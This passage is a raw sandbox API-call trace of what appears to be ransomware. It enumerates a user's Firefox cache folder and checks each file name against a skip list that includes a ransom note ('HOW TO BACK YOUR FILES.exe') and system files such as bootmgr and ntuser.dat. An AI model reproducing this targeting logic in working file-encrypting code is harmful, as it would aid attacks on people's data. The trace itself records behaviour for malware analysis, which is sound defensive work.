	[0045.330] lstrcmpiW (lpString1="2", lpString2="windows") returned -1
	[0045.330] lstrcmpiW (lpString1="2", lpString2="bootmgr") returned -1
	[0045.330] lstrcmpiW (lpString1="2", lpString2="temp") returned -1
	[0045.330] lstrcmpiW (lpString1="2", lpString2="pagefile.sys") returned -1
	[0045.330] lstrcmpiW (lpString1="2", lpString2="boot") returned -1
	[0045.330] lstrcmpiW (lpString1="2", lpString2="ids.txt") returned -1
	[0045.330] lstrcmpiW (lpString1="2", lpString2="ntuser.dat") returned -1
	[0045.330] lstrcmpiW (lpString1="2", lpString2="perflogs") returned -1
	[0045.330] lstrcmpiW (lpString1="2", lpString2="MSBuild") returned -1
	[0045.330] lstrlenW (lpString="2") returned 1
	[0045.331] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1") returned 93
	[0045.331] lstrcpyW (in: lpString1=0x2d3e608, lpString2="2" | out: lpString1="2") returned="2"
	[0045.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0045.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x599518
	[0045.331] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0045.331] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3", cAlternateFileName="")) returned 1
	[0045.331] lstrcmpiW (lpString1="3", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.331] lstrcmpiW (lpString1="3", lpString2="Apollon865.txt.exe") returned -1
	[0045.331] lstrcmpiW (lpString1="3", lpString2=".") returned 1
	[0045.331] lstrcmpiW (lpString1="3", lpString2="..") returned 1
	[0045.331] lstrcmpiW (lpString1="3", lpString2="windows") returned -1
	[0045.331] lstrcmpiW (lpString1="3", lpString2="bootmgr") returned -1
	[0045.331] lstrcmpiW (lpString1="3", lpString2="temp") returned -1
	[0045.331] lstrcmpiW (lpString1="3", lpString2="pagefile.sys") returned -1
	[0045.331] lstrcmpiW (lpString1="3", lpString2="boot") returned -1
	[0045.331] lstrcmpiW (lpString1="3", lpString2="ids.txt") returned -1
	[0045.331] lstrcmpiW (lpString1="3", lpString2="ntuser.dat") returned -1
	[0045.331] lstrcmpiW (lpString1="3", lpString2="perflogs") returned -1
	[0045.331] lstrcmpiW (lpString1="3", lpString2="MSBuild") returned -1
	[0045.331] lstrlenW (lpString="3") returned 1
	[0045.331] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2") returned 93
	[0045.331] lstrcpyW (in: lpString1=0x2d3e608, lpString2="3" | out: lpString1="3") returned="3"
	[0045.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0045.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x599f60
	[0045.331] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0045.331] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4", cAlternateFileName="")) returned 1
	[0045.331] lstrcmpiW (lpString1="4", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.331] lstrcmpiW (lpString1="4", lpString2="Apollon865.txt.exe") returned -1
	[0045.331] lstrcmpiW (lpString1="4", lpString2=".") returned 1
	[0045.331] lstrcmpiW (lpString1="4", lpString2="..") returned 1
	[0045.331] lstrcmpiW (lpString1="4", lpString2="windows") returned -1
	[0045.331] lstrcmpiW (lpString1="4", lpString2="bootmgr") returned -1
	[0045.331] lstrcmpiW (lpString1="4", lpString2="temp") returned -1
	[0045.332] lstrcmpiW (lpString1="4", lpString2="pagefile.sys") returned -1
	[0045.332] lstrcmpiW (lpString1="4", lpString2="boot") returned -1
	[0045.332] lstrcmpiW (lpString1="4", lpString2="ids.txt") returned -1
	[0045.332] lstrcmpiW (lpString1="4", lpString2="ntuser.dat") returned -1
	[0045.332] lstrcmpiW (lpString1="4", lpString2="perflogs") returned -1
	[0045.332] lstrcmpiW (lpString1="4", lpString2="MSBuild") returned -1
	[0045.332] lstrlenW (lpString="4") returned 1
	[0045.332] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3") returned 93
	[0045.332] lstrcpyW (in: lpString1=0x2d3e608, lpString2="4" | out: lpString1="4") returned="4"
	[0045.332] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0045.332] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x59a028
	[0045.332] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7b10
	[0045.332] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5", cAlternateFileName="")) returned 1
	[0045.332] lstrcmpiW (lpString1="5", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.332] lstrcmpiW (lpString1="5", lpString2="Apollon865.txt.exe") returned -1
	[0045.332] lstrcmpiW (lpString1="5", lpString2=".") returned 1
	[0045.332] lstrcmpiW (lpString1="5", lpString2="..") returned 1
	[0045.332] lstrcmpiW (lpString1="5", lpString2="windows") returned -1
	[0045.332] lstrcmpiW (lpString1="5", lpString2="bootmgr") returned -1
	[0045.332] lstrcmpiW (lpString1="5", lpString2="temp") returned -1
	[0045.332] lstrcmpiW (lpString1="5", lpString2="pagefile.sys") returned -1
	[0045.332] lstrcmpiW (lpString1="5", lpString2="boot") returned -1
	[0045.332] lstrcmpiW (lpString1="5", lpString2="ids.txt") returned -1
	[0045.332] lstrcmpiW (lpString1="5", lpString2="ntuser.dat") returned -1
	[0045.332] lstrcmpiW (lpString1="5", lpString2="perflogs") returned -1
	[0045.332] lstrcmpiW (lpString1="5", lpString2="MSBuild") returned -1
	[0045.332] lstrlenW (lpString="5") returned 1
	[0045.332] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4") returned 93
	[0045.332] lstrcpyW (in: lpString1=0x2d3e608, lpString2="5" | out: lpString1="5") returned="5"
	[0045.332] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0045.332] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x59a0f0
	[0045.332] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7c10
	[0045.332] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6", cAlternateFileName="")) returned 1
	[0045.332] lstrcmpiW (lpString1="6", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.333] lstrcmpiW (lpString1="6", lpString2="Apollon865.txt.exe") returned -1
	[0045.333] lstrcmpiW (lpString1="6", lpString2=".") returned 1
	[0045.333] lstrcmpiW (lpString1="6", lpString2="..") returned 1
	[0045.333] lstrcmpiW (lpString1="6", lpString2="windows") returned -1
	[0045.333] lstrcmpiW (lpString1="6", lpString2="bootmgr") returned -1
	[0045.333] lstrcmpiW (lpString1="6", lpString2="temp") returned -1
	[0045.333] lstrcmpiW (lpString1="6", lpString2="pagefile.sys") returned -1
	[0045.333] lstrcmpiW (lpString1="6", lpString2="boot") returned -1
	[0045.333] lstrcmpiW (lpString1="6", lpString2="ids.txt") returned -1
	[0045.333] lstrcmpiW (lpString1="6", lpString2="ntuser.dat") returned -1
	[0045.333] lstrcmpiW (lpString1="6", lpString2="perflogs") returned -1
	[0045.333] lstrcmpiW (lpString1="6", lpString2="MSBuild") returned -1
	[0045.333] lstrlenW (lpString="6") returned 1
	[0045.333] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5") returned 93
	[0045.333] lstrcpyW (in: lpString1=0x2d3e608, lpString2="6" | out: lpString1="6") returned="6"
	[0045.333] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0045.333] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x59a1b8
	[0045.333] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0045.333] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7", cAlternateFileName="")) returned 1
	[0045.333] lstrcmpiW (lpString1="7", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.333] lstrcmpiW (lpString1="7", lpString2="Apollon865.txt.exe") returned -1
	[0045.333] lstrcmpiW (lpString1="7", lpString2=".") returned 1
	[0045.333] lstrcmpiW (lpString1="7", lpString2="..") returned 1
	[0045.333] lstrcmpiW (lpString1="7", lpString2="windows") returned -1
	[0045.333] lstrcmpiW (lpString1="7", lpString2="bootmgr") returned -1
	[0045.333] lstrcmpiW (lpString1="7", lpString2="temp") returned -1
	[0045.333] lstrcmpiW (lpString1="7", lpString2="pagefile.sys") returned -1
	[0045.333] lstrcmpiW (lpString1="7", lpString2="boot") returned -1
	[0045.333] lstrcmpiW (lpString1="7", lpString2="ids.txt") returned -1
	[0045.333] lstrcmpiW (lpString1="7", lpString2="ntuser.dat") returned -1
	[0045.333] lstrcmpiW (lpString1="7", lpString2="perflogs") returned -1
	[0045.333] lstrcmpiW (lpString1="7", lpString2="MSBuild") returned -1
	[0045.333] lstrlenW (lpString="7") returned 1
	[0045.334] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6") returned 93
	[0045.334] lstrcpyW (in: lpString1=0x2d3e608, lpString2="7" | out: lpString1="7") returned="7"
	[0045.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0045.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x59a280
	[0045.334] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0045.334] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8", cAlternateFileName="")) returned 1
	[0045.334] lstrcmpiW (lpString1="8", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.334] lstrcmpiW (lpString1="8", lpString2="Apollon865.txt.exe") returned -1
	[0045.334] lstrcmpiW (lpString1="8", lpString2=".") returned 1
	[0045.334] lstrcmpiW (lpString1="8", lpString2="..") returned 1
	[0045.334] lstrcmpiW (lpString1="8", lpString2="windows") returned -1
	[0045.334] lstrcmpiW (lpString1="8", lpString2="bootmgr") returned -1
	[0045.334] lstrcmpiW (lpString1="8", lpString2="temp") returned -1
	[0045.334] lstrcmpiW (lpString1="8", lpString2="pagefile.sys") returned -1
	[0045.334] lstrcmpiW (lpString1="8", lpString2="boot") returned -1
	[0045.334] lstrcmpiW (lpString1="8", lpString2="ids.txt") returned -1
	[0045.335] lstrcmpiW (lpString1="8", lpString2="ntuser.dat") returned -1
	[0045.335] lstrcmpiW (lpString1="8", lpString2="perflogs") returned -1
	[0045.335] lstrcmpiW (lpString1="8", lpString2="MSBuild") returned -1
	[0045.335] lstrlenW (lpString="8") returned 1
	[0045.335] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7") returned 93
	[0045.335] lstrcpyW (in: lpString1=0x2d3e608, lpString2="8" | out: lpString1="8") returned="8"
	[0045.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0045.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x59a348
	[0045.335] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0045.336] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9", cAlternateFileName="")) returned 1
	[0045.336] lstrcmpiW (lpString1="9", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.336] lstrcmpiW (lpString1="9", lpString2="Apollon865.txt.exe") returned -1
	[0045.336] lstrcmpiW (lpString1="9", lpString2=".") returned 1
	[0045.336] lstrcmpiW (lpString1="9", lpString2="..") returned 1
	[0045.336] lstrcmpiW (lpString1="9", lpString2="windows") returned -1
	[0045.336] lstrcmpiW (lpString1="9", lpString2="bootmgr") returned -1
	[0045.336] lstrcmpiW (lpString1="9", lpString2="temp") returned -1
	[0045.336] lstrcmpiW (lpString1="9", lpString2="pagefile.sys") returned -1
	[0045.336] lstrcmpiW (lpString1="9", lpString2="boot") returned -1
	[0045.336] lstrcmpiW (lpString1="9", lpString2="ids.txt") returned -1
	[0045.336] lstrcmpiW (lpString1="9", lpString2="ntuser.dat") returned -1
	[0045.336] lstrcmpiW (lpString1="9", lpString2="perflogs") returned -1
	[0045.336] lstrcmpiW (lpString1="9", lpString2="MSBuild") returned -1
	[0045.336] lstrlenW (lpString="9") returned 1
	[0045.336] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8") returned 93
	[0045.336] lstrcpyW (in: lpString1=0x2d3e608, lpString2="9" | out: lpString1="9") returned="9"
	[0045.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0045.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x59a410
	[0045.336] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0045.336] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A", cAlternateFileName="")) returned 1
	[0045.336] lstrcmpiW (lpString1="A", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.336] lstrcmpiW (lpString1="A", lpString2="Apollon865.txt.exe") returned -1
	[0045.336] lstrcmpiW (lpString1="A", lpString2=".") returned 1
	[0045.336] lstrcmpiW (lpString1="A", lpString2="..") returned 1
	[0045.336] lstrcmpiW (lpString1="A", lpString2="windows") returned -1
	[0045.336] lstrcmpiW (lpString1="A", lpString2="bootmgr") returned -1
	[0045.336] lstrcmpiW (lpString1="A", lpString2="temp") returned -1
	[0045.336] lstrcmpiW (lpString1="A", lpString2="pagefile.sys") returned -1
	[0045.336] lstrcmpiW (lpString1="A", lpString2="boot") returned -1
	[0045.336] lstrcmpiW (lpString1="A", lpString2="ids.txt") returned -1
	[0045.336] lstrcmpiW (lpString1="A", lpString2="ntuser.dat") returned -1
	[0045.336] lstrcmpiW (lpString1="A", lpString2="perflogs") returned -1
	[0045.337] lstrcmpiW (lpString1="A", lpString2="MSBuild") returned -1
	[0045.337] lstrlenW (lpString="A") returned 1
	[0045.337] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9") returned 93
	[0045.337] lstrcpyW (in: lpString1=0x2d3e608, lpString2="A" | out: lpString1="A") returned="A"
	[0045.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0045.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x59a4d8
	[0045.337] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0045.337] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B", cAlternateFileName="")) returned 1
	[0045.337] lstrcmpiW (lpString1="B", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.337] lstrcmpiW (lpString1="B", lpString2="Apollon865.txt.exe") returned 1
	[0045.337] lstrcmpiW (lpString1="B", lpString2=".") returned 1
	[0045.337] lstrcmpiW (lpString1="B", lpString2="..") returned 1
	[0045.337] lstrcmpiW (lpString1="B", lpString2="windows") returned -1
	[0045.337] lstrcmpiW (lpString1="B", lpString2="bootmgr") returned -1
	[0045.337] lstrcmpiW (lpString1="B", lpString2="temp") returned -1
	[0045.337] lstrcmpiW (lpString1="B", lpString2="pagefile.sys") returned -1
	[0045.337] lstrcmpiW (lpString1="B", lpString2="boot") returned -1
	[0045.337] lstrcmpiW (lpString1="B", lpString2="ids.txt") returned -1
	[0045.337] lstrcmpiW (lpString1="B", lpString2="ntuser.dat") returned -1
	[0045.337] lstrcmpiW (lpString1="B", lpString2="perflogs") returned -1
	[0045.337] lstrcmpiW (lpString1="B", lpString2="MSBuild") returned -1
	[0045.337] lstrlenW (lpString="B") returned 1
	[0045.337] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A") returned 93
	[0045.337] lstrcpyW (in: lpString1=0x2d3e608, lpString2="B" | out: lpString1="B") returned="B"
	[0045.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0045.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x59a5a0
	[0045.337] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0045.337] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 1
	[0045.337] lstrcmpiW (lpString1="C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.337] lstrcmpiW (lpString1="C", lpString2="Apollon865.txt.exe") returned 1
	[0045.337] lstrcmpiW (lpString1="C", lpString2=".") returned 1
	[0045.337] lstrcmpiW (lpString1="C", lpString2="..") returned 1
	[0045.338] lstrcmpiW (lpString1="C", lpString2="windows") returned -1
	[0045.338] lstrcmpiW (lpString1="C", lpString2="bootmgr") returned 1
	[0045.338] lstrcmpiW (lpString1="C", lpString2="temp") returned -1
	[0045.338] lstrcmpiW (lpString1="C", lpString2="pagefile.sys") returned -1
	[0045.338] lstrcmpiW (lpString1="C", lpString2="boot") returned 1
	[0045.338] lstrcmpiW (lpString1="C", lpString2="ids.txt") returned -1
	[0045.338] lstrcmpiW (lpString1="C", lpString2="ntuser.dat") returned -1
	[0045.338] lstrcmpiW (lpString1="C", lpString2="perflogs") returned -1
	[0045.338] lstrcmpiW (lpString1="C", lpString2="MSBuild") returned -1
	[0045.338] lstrlenW (lpString="C") returned 1
	[0045.338] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B") returned 93
	[0045.338] lstrcpyW (in: lpString1=0x2d3e608, lpString2="C" | out: lpString1="C") returned="C"
	[0045.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0045.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x5aa3c8
	[0045.338] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0045.338] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D", cAlternateFileName="")) returned 1
	[0045.338] lstrcmpiW (lpString1="D", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.338] lstrcmpiW (lpString1="D", lpString2="Apollon865.txt.exe") returned 1
	[0045.338] lstrcmpiW (lpString1="D", lpString2=".") returned 1
	[0045.338] lstrcmpiW (lpString1="D", lpString2="..") returned 1
	[0045.338] lstrcmpiW (lpString1="D", lpString2="windows") returned -1
	[0045.338] lstrcmpiW (lpString1="D", lpString2="bootmgr") returned 1
	[0045.338] lstrcmpiW (lpString1="D", lpString2="temp") returned -1
	[0045.338] lstrcmpiW (lpString1="D", lpString2="pagefile.sys") returned -1
	[0045.338] lstrcmpiW (lpString1="D", lpString2="boot") returned 1
	[0045.338] lstrcmpiW (lpString1="D", lpString2="ids.txt") returned -1
	[0045.338] lstrcmpiW (lpString1="D", lpString2="ntuser.dat") returned -1
	[0045.338] lstrcmpiW (lpString1="D", lpString2="perflogs") returned -1
	[0045.338] lstrcmpiW (lpString1="D", lpString2="MSBuild") returned -1
	[0045.338] lstrlenW (lpString="D") returned 1
	[0045.338] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C") returned 93
	[0045.338] lstrcpyW (in: lpString1=0x2d3e608, lpString2="D" | out: lpString1="D") returned="D"
	[0045.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0045.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x5aa490
	[0045.339] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fc70
	[0045.339] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E", cAlternateFileName="")) returned 1
	[0045.339] lstrcmpiW (lpString1="E", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.339] lstrcmpiW (lpString1="E", lpString2="Apollon865.txt.exe") returned 1
	[0045.339] lstrcmpiW (lpString1="E", lpString2=".") returned 1
	[0045.339] lstrcmpiW (lpString1="E", lpString2="..") returned 1
	[0045.339] lstrcmpiW (lpString1="E", lpString2="windows") returned -1
	[0045.339] lstrcmpiW (lpString1="E", lpString2="bootmgr") returned 1
	[0045.339] lstrcmpiW (lpString1="E", lpString2="temp") returned -1
	[0045.339] lstrcmpiW (lpString1="E", lpString2="pagefile.sys") returned -1
	[0045.339] lstrcmpiW (lpString1="E", lpString2="boot") returned 1
	[0045.339] lstrcmpiW (lpString1="E", lpString2="ids.txt") returned -1
	[0045.339] lstrcmpiW (lpString1="E", lpString2="ntuser.dat") returned -1
	[0045.339] lstrcmpiW (lpString1="E", lpString2="perflogs") returned -1
	[0045.339] lstrcmpiW (lpString1="E", lpString2="MSBuild") returned -1
	[0045.339] lstrlenW (lpString="E") returned 1
	[0045.339] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D") returned 93
	[0045.339] lstrcpyW (in: lpString1=0x2d3e608, lpString2="E" | out: lpString1="E") returned="E"
